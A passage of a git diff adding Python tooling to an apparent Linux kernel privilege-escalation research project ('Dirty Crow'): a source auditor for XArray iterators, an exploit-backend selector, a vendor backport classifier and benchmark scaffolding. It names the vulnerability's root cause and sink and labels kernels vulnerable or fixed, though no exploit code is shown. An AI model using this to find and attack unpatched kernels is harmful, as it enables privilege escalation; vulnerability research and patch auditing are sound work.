"evidence": match_key, + }, + { + "name": "producer_runtime_reachability", + "status": "unproven", + }, + { + "name": "ordinary_user_trigger", + "status": "unproven", + }, + { + "name": "compatible_multi_index_transition", + "status": transition_status, + }, + { + "name": "concurrent_mutation_window", + "status": "unproven", + }, + { + "name": "stale_nonleaf_offset_reaches_sink", + "status": ( + "known_lineage_only" + if finding.classification == "known_sink_lineage" + else "unproven" + ), + }, + { + "name": "concrete_security_impact", + "status": "unproven_for_this_relationship", + }, + ], + "boundary": ( + "This is a structural research lead, not a vulnerability " + "finding. It remains unnamed until trigger, sink, and concrete " + "impact are reproduced." + ), + } + ) + + node_rows = sorted(nodes.values(), key=lambda item: str(item["id"])) + edge_rows = [ + edges[key] + for key in sorted(edges, key=lambda item: (item[0], item[1], item[2])) + ] + relationships.sort(key=lambda item: str(item["id"])) + return { + "schema_version": 1, + "analysis_engine": "tree-sitter-c structural relationships", + "nodes": node_rows, + "edges": edge_rows, + "relationship_candidates": relationships, + "summary": { + "node_count": len(node_rows), + "edge_count": len(edge_rows), + "producer_count": sum( + 1 for node in node_rows if node["kind"] == "producer" + ), + "iterator_count": sum( + 1 for node in node_rows if node["kind"] == "iterator" + ), + "sink_count": sum(1 for node in node_rows if node["kind"] == "sink"), + "candidate_count": len(relationships), + }, + "boundary": ( + "Edges encode parser-confirmed syntax and bounded same-file call flow. " + "Symbolic container matching does not prove runtime aliasing, concurrency, " + "reachability, corruption, or security impact." + ), + } + + +def audit_repository( + repository: Path, + refs: Iterable[str], + *, + raw_remote: str | None = None, + source_cache: Path | None = None, +) -> dict[str, object]: + repo = GitRepository(repository) + ref_list = list(dict.fromkeys(refs)) + if not ref_list: + raise ValueError("at least one ref is required") + + results: list[Callsite] = [] + parsed_sources: list[ParsedSource] = [] + revisions: dict[str, str] = {} + source_manifests: list[dict[str, object]] = [] + source_inputs: list[dict[str, object]] = [] + parse_failures: list[dict[str, object]] = [] + parsed_file_count = 0 + clean_file_count = 0 + parser_issue_count = 0 + candidate_path_count = 0 + for ref in ref_list: + manifest_summary, manifest_entries = repo.source_manifest(ref) + revisions[ref] = str(manifest_summary["revision"]) + object_id_by_path = { + str(entry["path"]): str(entry["git_object_id"]) + for entry in manifest_entries + } + coarse_matches = repo.iterator_matches(ref) + paths = sorted({path for path, _, _ in coarse_matches}) + candidate_path_count += len(paths) + if raw_remote is not None: + source_by_path = fetch_raw_sources( + raw_remote, + ref, + paths, + cache_dir=source_cache, + ) + source_origin = f"raw_remote:{raw_remote}" + else: + source_by_path = {path: repo.show(ref, path) for path in paths} + source_origin = "local_git_object_database" + missing_paths = sorted(set(paths) - set(source_by_path)) + manifest_summary.update( + { + "candidate_path_count": len(paths), + "acquired_candidate_path_count": len(source_by_path), + "missing_candidate_paths": missing_paths, + "source_origin": source_origin, + } + ) + source_manifests.append( + persist_source_manifest( + source_cache, + Path(repository), + manifest_summary, + manifest_entries, + ) + ) + + content_sha_by_path: dict[str, str] = {} + for path, source in sorted(source_by_path.items()): + encoded = source.encode("utf-8") + content_sha = hashlib.sha256(encoded).hexdigest() + content_sha_by_path[path] = content_sha + source_inputs.append( + { + "ref": ref, + "revision": revisions[ref], + "path": path, + "sha256": content_sha, + "git_object_id": object_id_by_path[path], + "byte_count": len(encoded), + "origin": source_origin, + } + ) + for path, source in sorted(source_by_path.items()): + unit = parse_c(source) + parsed_sources.append(ParsedSource(ref=ref, path=path, unit=unit)) + parsed_file_count += 1 + parser_issue_count += unit.issue_count + if unit.status == "clean": + clean_file_count += 1 + else: + parse_failures.append( + { + "ref": ref, + "path": path, + "status": unit.status, + "issue_count": unit.issue_count, + "issues": [issue.as_dict() for issue in unit.issues], + } + ) + + seen: set[tuple[int, str, str]] = set() + for call in iterator_calls(unit, ITERATOR_NAMES): + identity = (call.start, call.name, call.origin) + if identity in seen: + continue + seen.add(identity) + results.append( + classify_callsite( + ref, + path, + call.line, + source, + unit, + call, + commit_id=revisions[ref], + blob_object_id=object_id_by_path[path], + source_sha256=content_sha_by_path[path], + ) + ) + + lineages: dict[str, dict[str, object]] = {} + for result in results: + lineage = lineages.setdefault( + result.stable_id, + { + "stable_id": result.stable_id, + "path": result.path, + "function": result.function, + "api": result.api, + "refs": [], + "max_score": result.score, + "classifications": [], + "containers": [], + "lock_contexts": [], + }, + ) + lineage["refs"].append(result.ref) + lineage["max_score"] = max(int(lineage["max_score"]), result.score) + if result.classification not in lineage["classifications"]: + lineage["classifications"].append(result.classification) + if ( + result.container_identity is not None + and result.container_identity not in lineage["containers"] + ): + lineage["containers"].append(result.container_identity) + if result.lock_context not in lineage["lock_contexts"]: + lineage["lock_contexts"].append(result.lock_context) + + counts: dict[str, int] = {} + for result in results: + counts[result.classification] = counts.get(result.classification, 0) + 1 + + parser_complete = not parse_failures + acquisition_complete = all( + not manifest["missing_candidate_paths"] for manifest in source_manifests + ) + relationship_graph = build_relationship_graph(parsed_sources, results) + return { + "schema_version": 4, + "title": "Dirty Crow structural XArray iterator source audit", + "passed": parser_complete and acquisition_complete, + "repository": str(Path(repository).resolve()), + "refs": revisions, + "analysis_engine": { + "parser": "tree-sitter-c", + "classification": "structural function/call/data-flow facts", + "hard_coded_function_contracts": False, + }, + "parse_summary": { + "complete": parser_complete, + "parsed_file_count": parsed_file_count, + "clean_file_count": clean_file_count, + "partial_file_count": len(parse_failures), + "issue_count": parser_issue_count, + "failures": parse_failures, + "policy": ( + "Any Tree-sitter ERROR or missing node makes the audit incomplete; " + "partial parses are never counted as clean." + ), + }, + "source_acquisition": { + "complete": acquisition_complete, + "mode": ( + "complete_tree_raw_candidate_acquisition" + if raw_remote + else "complete_tree_local_git_acquisition" + ), + "raw_remote": raw_remote, + "source_cache": ( + str(source_cache.resolve()) if source_cache is not None else None + ), + "complete_tree_enumeration": True, + "candidate_path_count": candidate_path_count, + "manifests": source_manifests, + "acquired_inputs": source_inputs, + "boundary": ( + "Every C/header path is enumerated from each ref's Git tree and every " + "such blob is searched by Git grep. Tree-sitter parses all matching " + "files. This avoids seed-path blindness while not parsing files that " + "contain no recognized iterator token." + ), + }, + "audit_scope": { + "mode": "complete_source_tree_per_ref", + "candidate_path_count": candidate_path_count, + "boundary": ( + "Git tree enumeration and exhaustive per-ref Git grep discover moved, " + "renamed, and newly added iterator callsites automatically. Structural " + "classification remains bounded to parser-readable matching files." + ), + }, + "callsite_count": len(results), + "classification_counts": counts, + "known_chain": { + "name": "Dirty Crow: Backstep", + "root_cause": "stale non-leaf xa_offset permits xas_find() index regression", + "sink": "structural xa_index subtraction into a PTE/address install", + "proof_scope": "Imported exact package-kernel evidence only", + }, + "naming_policy": ( + "Candidates remain unnamed until trigger, sink, and concrete impact are " + "reproduced." + ), + "relationship_graph": relationship_graph, + "callsites": [ + result.as_dict() + for result in sorted( + results, + key=lambda item: (item.ref, -item.score, item.path, item.line), + ) + ], + "lineages": sorted( + lineages.values(), + key=lambda item: ( + -int(item["max_score"]), + str(item["path"]), + str(item["function"]), + ), + ), + } + + +def write_audit(report: dict[str, object], destination: Path) -> None: + destination.parent.mkdir(parents=True, exist_ok=True) + destination.write_text( + json.dumps(report, indent=2, sort_keys=True) + "\n", encoding="utf-8" + ) diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/backends.py b/dirty-crow-xarray-lpe/framework/dirtycrow/backends.py new file mode 100644 index 0000000..3635a2a --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/backends.py @@ -0,0 +1,288 @@ +from __future__ import annotations + +from dataclasses import asdict, dataclass +import hashlib +import json +from pathlib import Path +import re +from typing import Iterable, Mapping + +_BACKEND_ID = re.compile(r"[a-z0-9][a-z0-9._-]{0,63}\Z") +_ALLOWED_ARCHITECTURES = {"x86_64", "aarch64", "riscv64", "ppc64le"} +_ALLOWED_ENDIANNESS = {"little", "big"} +_ALLOWED_ACTIONS = {"probe", "legacy-trigger", "backstep-proof"} + + +class BackendRegistryError(ValueError): + pass + + +@dataclass(frozen=True) +class TargetContext: + architecture: str + page_size: int + endianness: str + source_facts: frozenset[str] + capabilities: frozenset[str] + + +@dataclass(frozen=True) +class BackendAction: + name: str + required_capabilities: frozenset[str] + + +@dataclass(frozen=True) +class BackendSpec: + backend_id: str + source: Path + architectures: tuple[str, ...] + page_sizes: tuple[int, ...] + endianness: tuple[str, ...] + required_source_facts: frozenset[str] + forbidden_source_facts: frozenset[str] + actions: tuple[BackendAction, ...] + priority: int + + +def _sha256(path: Path) -> str: + return hashlib.sha256(path.read_bytes()).hexdigest() + + +def _expect_string_list(value: object, field: str) -> tuple[str, ...]: + if not isinstance(value, list) or not value or not all(isinstance(row, str) and row for row in value): + raise BackendRegistryError(f"{field} must be a non-empty string list") + return tuple(value) + + +def _expect_fact_set(value: object, field: str) -> frozenset[str]: + if not isinstance(value, list) or not all(isinstance(row, str) and row for row in value): + raise BackendRegistryError(f"{field} must be a string list") + return frozenset(value) + + +def _parse_backend(root: Path, payload: object) -> BackendSpec: + if not isinstance(payload, dict): + raise BackendRegistryError("each backend must be an object") + allowed = { + "id", + "source", + "architectures", + "page_sizes", + "endianness", + "required_source_facts", + "forbidden_source_facts", + "actions", + "priority", + } + unknown = sorted(set(payload) - allowed) + if unknown: + raise BackendRegistryError(f"unknown backend keys: {unknown}") + backend_id = str(payload.get("id", "")) + if _BACKEND_ID.fullmatch(backend_id) is None: + raise BackendRegistryError(f"invalid backend id: {backend_id!r}") + + source_value = payload.get("source") + if not isinstance(source_value, str) or not source_value.endswith(".c"): + raise BackendRegistryError(f"backend {backend_id} source must be a C file") + source = (root / source_value).resolve() + try: + source.relative_to(root) + except ValueError as error: + raise BackendRegistryError(f"backend {backend_id} source escapes registry root") from error + if not source.is_file(): + raise BackendRegistryError(f"backend {backend_id} source is missing: {source}") + + architectures = _expect_string_list(payload.get("architectures"), "architectures") + if not set(architectures) <= _ALLOWED_ARCHITECTURES: + raise BackendRegistryError(f"backend {backend_id} has unsupported architectures") + endianness = _expect_string_list(payload.get("endianness"), "endianness") + if not set(endianness) <= _ALLOWED_ENDIANNESS: + raise BackendRegistryError(f"backend {backend_id} has unsupported endianness") + page_sizes_value = payload.get("page_sizes") + if ( + not isinstance(page_sizes_value, list) + or not page_sizes_value + or not all(isinstance(value, int) and value >= 4096 and value & (value - 1) == 0 for value in page_sizes_value) + ): + raise BackendRegistryError("page_sizes must contain power-of-two integers >= 4096") + + actions_value = payload.get("actions") + if not isinstance(actions_value, dict) or not actions_value: + raise BackendRegistryError(f"backend {backend_id} actions must be an object") + actions: list[BackendAction] = [] + for name, action_payload in sorted(actions_value.items()): + if name not in _ALLOWED_ACTIONS or not isinstance(action_payload, dict): + raise BackendRegistryError(f"backend {backend_id} has invalid action {name!r}") + if set(action_payload) != {"required_capabilities"}: + raise BackendRegistryError(f"backend {backend_id} action {name} has invalid keys") + actions.append( + BackendAction( + name=name, + required_capabilities=_expect_fact_set( + action_payload["required_capabilities"], + f"actions.{name}.required_capabilities", + ), + ) + ) + priority = payload.get("priority", 0) + if not isinstance(priority, int) or not 0 <= priority <= 1000: + raise BackendRegistryError("priority must be an integer from 0 through 1000") + return BackendSpec( + backend_id=backend_id, + source=source, + architectures=architectures, + page_sizes=tuple(page_sizes_value), + endianness=endianness, + required_source_facts=_expect_fact_set( + payload.get("required_source_facts", []), "required_source_facts" + ), + forbidden_source_facts=_expect_fact_set( + payload.get("forbidden_source_facts", []), "forbidden_source_facts" + ), + actions=tuple(actions), + priority=priority, + ) + + +def load_backend_registry(path: Path) -> tuple[BackendSpec, ...]: + path = path.resolve() + payload = json.loads(path.read_text(encoding="utf-8")) + if not isinstance(payload, dict) or set(payload) != {"schema_version", "backends"}: + raise BackendRegistryError("registry must contain only schema_version and backends") + if payload["schema_version"] != 1 or not isinstance(payload["backends"], list): + raise BackendRegistryError("unsupported backend registry schema") + specs = tuple(_parse_backend(path.parent, row) for row in payload["backends"]) + identifiers = [spec.backend_id for spec in specs] + if len(identifiers) != len(set(identifiers)): + raise BackendRegistryError("backend ids must be unique") + return specs + + +def _reject_reasons( + spec: BackendSpec, + context: TargetContext, + action: str, +) -> list[dict[str, object]]: + reasons: list[dict[str, object]] = [] + if context.architecture not in spec.architectures: + reasons.append( + { + "code": "architecture_mismatch", + "required": list(spec.architectures), + "actual": context.architecture, + } + ) + if context.page_size not in spec.page_sizes: + reasons.append( + { + "code": "page_size_mismatch", + "required": list(spec.page_sizes), + "actual": context.page_size, + } + ) + if context.endianness not in spec.endianness: + reasons.append( + { + "code": "endianness_mismatch", + "required": list(spec.endianness), + "actual": context.endianness, + } + ) + missing_facts = sorted(spec.required_source_facts - context.source_facts) + if missing_facts: + reasons.append({"code": "missing_source_facts", "facts": missing_facts}) + forbidden_facts = sorted(spec.forbidden_source_facts & context.source_facts) + if forbidden_facts: + reasons.append({"code": "forbidden_source_facts", "facts": forbidden_facts}) + action_map = {candidate.name: candidate for candidate in spec.actions} + selected_action = action_map.get(action) + if selected_action is None: + reasons.append( + {"code": "unsupported_action", "supported": sorted(action_map)} + ) + else: + missing_capabilities = sorted( + selected_action.required_capabilities - context.capabilities + ) + if missing_capabilities: + reasons.append( + { + "code": "missing_capabilities", + "capabilities": missing_capabilities, + } + ) + return reasons + + +def resolve_backend( + registry_path: Path, + context: TargetContext, + action: str, + *, + requested_backend: str | None = None, +) -> dict[str, object]: + if context.architecture not in _ALLOWED_ARCHITECTURES: + raise ValueError(f"unsupported architecture: {context.architecture}") + if context.endianness not in _ALLOWED_ENDIANNESS: + raise ValueError(f"unsupported endianness: {context.endianness}") + if context.page_size < 4096 or context.page_size & (context.page_size - 1): + raise ValueError("page size must be a power of two >= 4096") + if action not in _ALLOWED_ACTIONS: + raise ValueError(f"unsupported backend action: {action}") + + registry_path = registry_path.resolve() + specs = load_backend_registry(registry_path) + if requested_backend is not None and requested_backend not in { + spec.backend_id for spec in specs + }: + raise ValueError(f"requested backend is not registered: {requested_backend}") + evaluations: list[dict[str, object]] = [] + compatible: list[BackendSpec] = [] + for spec in specs: + reasons = _reject_reasons(spec, context, action) + if requested_backend is not None and spec.backend_id != requested_backend: + reasons.append( + {"code": "not_requested", "requested_backend": requested_backend} + ) + evaluations.append( + { + "backend_id": spec.backend_id, + "compatible": not reasons, + "reasons": reasons, + } + ) + if not reasons: + compatible.append(spec) + compatible.sort(key=lambda spec: (-spec.priority, spec.backend_id)) + selected = compatible[0] if compatible else None + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow backend resolution", + "supported": selected is not None, + "action": action, + "requested_backend": requested_backend, + "context": { + **asdict(context), + "source_facts": sorted(context.source_facts), + "capabilities": sorted(context.capabilities), + }, + "evaluations": evaluations, + "selected": ( + { + "backend_id": selected.backend_id, + "source": str(selected.source), + "source_sha256": _sha256(selected.source), + "priority": selected.priority, + } + if selected is not None + else None + ), + "registry": str(registry_path), + "registry_sha256": _sha256(registry_path), + "boundary": "Selection proves declared compatibility only; runtime evidence is required for exploitability.", + } + report["canonical_payload_sha256"] = hashlib.sha256( + json.dumps(report, sort_keys=True, separators=(",", ":")).encode() + ).hexdigest() + return report diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/backports.py b/dirty-crow-xarray-lpe/framework/dirtycrow/backports.py new file mode 100644 index 0000000..7a881fa --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/backports.py @@ -0,0 +1,402 @@ +from __future__ import annotations + +import hashlib +import json +from pathlib import Path +import re +import subprocess +import tarfile +from typing import Iterable +import urllib.parse +import zipfile + +from .cstruct import StructuralFunction, parse_c + +_ALLOWED_STATES = { + "vulnerable", + "fixed", + "ambiguous", + "patch-only", + "binary-only", + "not-tested", +} + + +def _compact(text: str) -> str: + return "".join(text.split()) + + +def _identifier(text: str) -> str: + compact = _compact(text) + while compact.startswith(("&", "*", "(")): + compact = compact[1:] + while compact.endswith(")"): + compact = compact[:-1] + return compact + + +def _xas_find_function(source: str) -> tuple[object, StructuralFunction | None]: + unit = parse_c(source) + functions = [function for function in unit.functions if function.name == "xas_find"] + if len(functions) != 1: + return unit, None + return unit, functions[0] + + +def classify_xas_find_semantics(source: str) -> dict[str, object]: + unit, function = _xas_find_function(source) + if function is None: + facts = { + "function_found": False, + "leaf_wraparound_resync": False, + "nonleaf_expected_offset_resync": False, + } + state = "ambiguous" + else: + expected_aliases = { + _identifier(assignment.left) + for assignment in function.assignments + if "get_offset" in assignment.right and "xa_index" in assignment.right + } + leaf_wraparound = False + nonleaf_resync = False + for assignment in function.assignments: + left = _compact(assignment.left) + right = _compact(assignment.right) + if "xa_offset" not in left: + continue + conditions = _compact("&&".join(assignment.conditions)) + leaf_guard = bool(re.search(r"!+\(?[^&|;]*shift", conditions)) + wraparound_rhs = ( + "xa_index" in right and "-1" in right and "XA_CHUNK_MASK" in right + ) + leaf_wraparound = leaf_wraparound or (leaf_guard and wraparound_rhs) + + right_identifier = _identifier(assignment.right) + expected_rhs = ( + "get_offset" in right and "xa_index" in right + ) or right_identifier in expected_aliases + mismatch_guard = "!=" in conditions and "xa_offset" in conditions + expected_guard = "get_offset" in conditions or any( + alias and alias in conditions for alias in expected_aliases + ) + shift_context = "shift" in conditions or any( + field.field == "shift" for field in function.fields + ) + nonleaf_resync = nonleaf_resync or ( + expected_rhs and mismatch_guard and expected_guard and shift_context + ) + + facts = { + "function_found": True, + "leaf_wraparound_resync": leaf_wraparound, + "nonleaf_expected_offset_resync": nonleaf_resync, + "expected_offset_aliases": sorted(expected_aliases), + "assignment_count": len(function.assignments), + } + if nonleaf_resync: + state = "fixed" + elif leaf_wraparound: + state = "vulnerable" + else: + state = "ambiguous" + + fingerprint_payload = json.dumps( + facts, + sort_keys=True, + separators=(",", ":"), + ).encode("utf-8") + return { + "state": state, + "parser_status": unit.status, + "parser_issue_count": unit.issue_count, + "facts": facts, + "semantic_fingerprint_sha256": hashlib.sha256(fingerprint_payload).hexdigest(), + "boundary": ( + "The classifier recognizes the stale leaf-only resync and a guarded " + "non-leaf get_offset-equivalent resync. Unrecognized rewrites remain " + "ambiguous rather than being inferred fixed." + ), + } + + +def stable_patch_id(path: Path) -> str | None: + payload = path.read_bytes() + result = subprocess.run( + ["git", "patch-id", "--stable"], + input=payload, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + check=False, + ) + if result.returncode or not result.stdout.strip(): + return None + return result.stdout.decode("ascii", errors="replace").split()[0] + + +def _run_git(repository: Path, *arguments: str, check: bool = True) -> str: + result = subprocess.run( + ["git", "-C", str(repository), *arguments], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + errors="replace", + check=False, + ) + if check and result.returncode: + raise RuntimeError(result.stderr.strip() or "git command failed") + return result.stdout + + +def _acquire_remote_source( + url: str, + ref: str, + store: Path, +) -> tuple[str, dict[str, object]]: + identity = hashlib.sha256(url.encode("utf-8")).hexdigest()[:20] + repository = store.resolve() / "vendor-git" / identity + if not (repository / ".git").exists(): + repository.mkdir(parents=True, exist_ok=True) + _run_git(repository, "init", "-q") + _run_git(repository, "remote", "add", "origin", url) + _run_git(repository, "fetch", "--filter=blob:none", "--depth=1", "origin", ref) + revision = _run_git(repository, "rev-parse", "FETCH_HEAD^{commit}").strip() + source = _run_git(repository, "show", f"{revision}:lib/xarray.c") + return source, { + "kind": "git_remote", + "url": url, + "requested_ref": ref, + "revision": revision, + "cache_repository": str(repository), + } + + +def _read_archive_member(archive: Path, member: str) -> bytes: + if zipfile.is_zipfile(archive): + with zipfile.ZipFile(archive) as bundle: + return bundle.read(member) + with tarfile.open(archive, "r:*") as bundle: + selected = bundle.extractfile(member) + if selected is None: + raise FileNotFoundError(f"archive member is not a file: {member}") + return selected.read() + + +def _read_source( + source_specification: dict[str, object] | None, + profile_root: Path, + store: Path, +) -> tuple[str | None, dict[str, object]]: + if source_specification is None: + return None, {"kind": "none"} + kind = str(source_specification.get("kind", "")) + if kind == "directory": + root = (profile_root / str(source_specification["path"])).resolve() + source_path = root / "lib" / "xarray.c" + source = source_path.read_text(encoding="utf-8") + return source, { + "kind": kind, + "root": str(root), + "source_path": str(source_path), + } + if kind == "git": + repository = (profile_root / str(source_specification["repository"])).resolve() + ref = str(source_specification["ref"]) + revision = _run_git(repository, "rev-parse", f"{ref}^{{commit}}").strip() + source = _run_git(repository, "show", f"{revision}:lib/xarray.c") + return source, { + "kind": kind, + "repository": str(repository), + "requested_ref": ref, + "revision": revision, + } + if kind == "git_remote": + return _acquire_remote_source( + str(source_specification["url"]), + str(source_specification["ref"]), + store, + ) + if kind == "archive": + archive = (profile_root / str(source_specification["path"])).resolve() + member = str(source_specification.get("member", "lib/xarray.c")) + payload = _read_archive_member(archive, member) + return payload.decode("utf-8", errors="replace"), { + "kind": kind, + "archive": str(archive), + "archive_sha256": hashlib.sha256(archive.read_bytes()).hexdigest(), + "member": member, + } + raise ValueError(f"unsupported vendor source kind: {kind}") + + +def _resolved_paths( + values: Iterable[object], + profile_root: Path, +) -> list[Path]: + return [(profile_root / str(value)).resolve() for value in values] + + +def audit_vendor_backports(profile_path: Path, store: Path) -> dict[str, object]: + profile_path = profile_path.resolve() + profile = json.loads(profile_path.read_text(encoding="utf-8")) + if profile.get("schema_version") != 1: + raise ValueError("vendor backport profile schema_version must be 1") + targets = profile.get("targets") + if not isinstance(targets, list) or not targets: + raise ValueError("vendor backport profile requires non-empty targets") + profile_root = profile_path.parent + + fix_patch_rows: list[dict[str, object]] = [] + accepted_patch_ids: set[str] = set() + for patch_path in _resolved_paths(profile.get("fix_patches", []), profile_root): + patch_id = stable_patch_id(patch_path) + row = { + "path": str(patch_path), + "sha256": hashlib.sha256(patch_path.read_bytes()).hexdigest(), + "stable_patch_id": patch_id, + } + fix_patch_rows.append(row) + if patch_id is not None: + accepted_patch_ids.add(patch_id) + + rows: list[dict[str, object]] = [] + for target in targets: + if not isinstance(target, dict): + raise ValueError("vendor targets must be objects") + target_id = str(target.get("id", "")) + vendor = str(target.get("vendor", "")) + if not target_id or not vendor: + raise ValueError("vendor targets require id and vendor") + + source: str | None = None + source_provenance: dict[str, object] + acquisition_error: str | None = None + try: + source, source_provenance = _read_source( + target.get("source"), + profile_root, + store, + ) + except ( + FileNotFoundError, + KeyError, + OSError, + RuntimeError, + ValueError, + ) as error: + source_provenance = {"kind": "unavailable"} + acquisition_error = str(error) + + patch_rows: list[dict[str, object]] = [] + matching_patch_ids: list[str] = [] + for patch_path in _resolved_paths(target.get("patch_files", []), profile_root): + patch_id = stable_patch_id(patch_path) if patch_path.is_file() else None + patch_rows.append( + { + "path": str(patch_path), + "exists": patch_path.is_file(), + "sha256": ( + hashlib.sha256(patch_path.read_bytes()).hexdigest() + if patch_path.is_file() + else None + ), + "stable_patch_id": patch_id, + } + ) + if patch_id in accepted_patch_ids: + matching_patch_ids.append(str(patch_id)) + + binary_paths = _resolved_paths(target.get("binary_files", []), profile_root) + binary_rows = [ + { + "path": str(path), + "exists": path.is_file(), + "sha256": ( + hashlib.sha256(path.read_bytes()).hexdigest() + if path.is_file() + else None + ), + } + for path in binary_paths + ] + has_binary = any(row["exists"] for row in binary_rows) + + semantic = classify_xas_find_semantics(source) if source is not None else None + semantic_state = str(semantic["state"]) if semantic is not None else None + source_scope = str(target.get("source_scope", "exact_vendor_tree")) + exact_vendor_source = source_scope == "exact_vendor_tree" + if matching_patch_ids and semantic_state != "fixed": + state = "patch-only" + elif source is not None and not exact_vendor_source: + state = "ambiguous" + elif semantic_state == "fixed": + state = "fixed" + elif semantic_state == "vulnerable": + state = "vulnerable" + elif source is not None: + state = "ambiguous" + elif has_binary: + state = "binary-only" + else: + state = "not-tested" + if state not in _ALLOWED_STATES: + raise AssertionError(f"invalid vendor state: {state}") + + rows.append( + { + "id": target_id, + "vendor": vendor, + "release": target.get("release"), + "source_scope": source_scope, + "source_note": target.get("source_note"), + "state": state, + "source_provenance": source_provenance, + "source_sha256": ( + hashlib.sha256(source.encode("utf-8")).hexdigest() + if source is not None + else None + ), + "semantic_analysis": semantic, + "patches": patch_rows, + "matching_fix_patch_ids": sorted(set(matching_patch_ids)), + "binaries": binary_rows, + "acquisition_error": acquisition_error, + "boundary": ( + "State describes source semantics or retained artifact availability. " + "It does not promote an unexecuted vendor build to a runtime finding." + ), + } + ) + + counts = {state: 0 for state in sorted(_ALLOWED_STATES)} + for row in rows: + counts[str(row["state"])] += 1 + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow semantic vendor backport audit", + "passed": all(row["state"] != "ambiguous" for row in rows), + "profile": str(profile_path), + "profile_sha256": hashlib.sha256(profile_path.read_bytes()).hexdigest(), + "fix_patches": fix_patch_rows, + "targets": rows, + "summary": counts, + "state_definitions": { + "vulnerable": "Source parser confirms leaf-only stale-offset resync.", + "fixed": "Source parser confirms guarded non-leaf expected-offset resync.", + "ambiguous": "Source exists but recognized vulnerable/fixed semantics are absent.", + "patch-only": "A matching stable patch ID exists without fixed source semantics.", + "binary-only": "Only a retained binary is available; source state is unknown.", + "not-tested": "Neither analyzable source nor a retained binary is available.", + }, + "boundary": ( + "Semantic fingerprints tolerate formatting and local control-flow rewrites. " + "Unknown rewrites fail closed as ambiguous; package runtime status requires " + "separate exact-build evidence." + ), + } + canonical = json.dumps(report, sort_keys=True, separators=(",", ":")).encode( + "utf-8" + ) + report["canonical_payload_sha256"] = hashlib.sha256(canonical).hexdigest() + return report diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/benchmark.py b/dirty-crow-xarray-lpe/framework/dirtycrow/benchmark.py new file mode 100644 index 0000000..a6102a6 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/benchmark.py @@ -0,0 +1,826 @@ +from __future__ import annotations + +import hashlib +import json +import math +import os +import platform +import re +import shutil +import statistics +import subprocess +import tempfile +from dataclasses import dataclass +from pathlib import Path +from typing import Sequence + +_SCHEMA_VERSION = 1 +_SCENARIOS = ( + "single_index_iteration", + "marked_lookup", + "multi_index_iteration", + "restart_bounded_lookup", + "page_cache_scan", + "page_cache_fault_lookup", +) +_OLD_TRANSITION = """\t} else if (!xas->xa_node->shift && +\t\t xas->xa_offset != (xas->xa_index & XA_CHUNK_MASK)) { +\t\txas->xa_offset = ((xas->xa_index - 1) & XA_CHUNK_MASK) + 1; +\t} +""" +_FIXED_TRANSITION = """\t} else if (xas->xa_offset != get_offset(xas->xa_index, xas->xa_node)) { +\t\tif (!xas->xa_node->shift) +\t\t\txas->xa_offset = ((xas->xa_index - 1) & XA_CHUNK_MASK) + 1; +\t\telse +\t\t\txas->xa_offset = get_offset(xas->xa_index, xas->xa_node); +\t} +""" +_SHIMS = { + "urcu.h": """#ifndef DIRTY_CROW_TEST_URCU_H +#define DIRTY_CROW_TEST_URCU_H +struct rcu_head { +\tstruct rcu_head *next; +\tvoid (*func)(struct rcu_head *head); +}; +#define rcu_dereference(p) (p) +#define rcu_assign_pointer(p, v) do { (p) = (v); } while (0) +#define rcu_read_lock() do { } while (0) +#define rcu_read_unlock() do { } while (0) +#define rcu_register_thread() do { } while (0) +#define rcu_unregister_thread() do { } while (0) +#ifndef uatomic_inc +#define uatomic_inc(p) (++*(p)) +#define uatomic_dec(p) (--*(p)) +#endif +void dirty_crow_call_rcu(struct rcu_head *head, +\t\tvoid (*func)(struct rcu_head *head)); +void dirty_crow_rcu_barrier(void); +#define call_rcu(head, func) dirty_crow_call_rcu((head), (func)) +#define rcu_barrier() dirty_crow_rcu_barrier() +#endif +""", + "urcu/uatomic.h": """#ifndef DIRTY_CROW_TEST_UATOMIC_H +#define DIRTY_CROW_TEST_UATOMIC_H +#define uatomic_inc(p) (++*(p)) +#define uatomic_dec(p) (--*(p)) +#endif +""", + "asm/errno.h": """#ifndef DIRTY_CROW_TEST_ASM_ERRNO_H +#define DIRTY_CROW_TEST_ASM_ERRNO_H +#include +#endif +""", + "asm/posix_types.h": """#ifndef DIRTY_CROW_TEST_ASM_POSIX_TYPES_H +#define DIRTY_CROW_TEST_ASM_POSIX_TYPES_H +#endif +""", + "asm/types.h": """#ifndef DIRTY_CROW_TEST_ASM_TYPES_H +#define DIRTY_CROW_TEST_ASM_TYPES_H +#include +typedef uint8_t __u8; +typedef int8_t __s8; +typedef uint16_t __u16; +typedef int16_t __s16; +typedef uint32_t __u32; +typedef int32_t __s32; +typedef uint64_t __u64; +typedef int64_t __s64; +#endif +""", + "linux/errno.h": """#ifndef DIRTY_CROW_TEST_LINUX_ERRNO_H +#define DIRTY_CROW_TEST_LINUX_ERRNO_H +#include +#endif +""", + "linux/limits.h": """#ifndef DIRTY_CROW_TEST_LINUX_LIMITS_H +#define DIRTY_CROW_TEST_LINUX_LIMITS_H +#include +#endif +""", + "byteswap.h": """#ifndef DIRTY_CROW_TEST_BYTESWAP_H +#define DIRTY_CROW_TEST_BYTESWAP_H +#include +#define bswap_16(x) __builtin_bswap16((uint16_t)(x)) +#define bswap_32(x) __builtin_bswap32((uint32_t)(x)) +#define bswap_64(x) __builtin_bswap64((uint64_t)(x)) +#endif +""", + "endian.h": """#ifndef DIRTY_CROW_TEST_ENDIAN_H +#define DIRTY_CROW_TEST_ENDIAN_H +#define __LITTLE_ENDIAN 1234 +#define __BIG_ENDIAN 4321 +#define __BYTE_ORDER __LITTLE_ENDIAN +#endif +""", +} + + +class BenchmarkError(ValueError): + """The XArray benchmark cannot produce comparable measurements.""" + + +@dataclass(frozen=True) +class _Compiler: + family: str + executable: Path + version: str + msys_bash: Path | None + + +@dataclass(frozen=True) +class _KernelSources: + root: Path + xarray: Path + radix_tree: Path + shared_header: Path + shared_linux: Path + test_header_dir: Path + tools_lib: Path + tools_include: Path + arch_include: Path + kernel_include: Path + kernel_lib: Path + autoconf: Path + legacy_layout: bool + + +def _sha256(data: bytes) 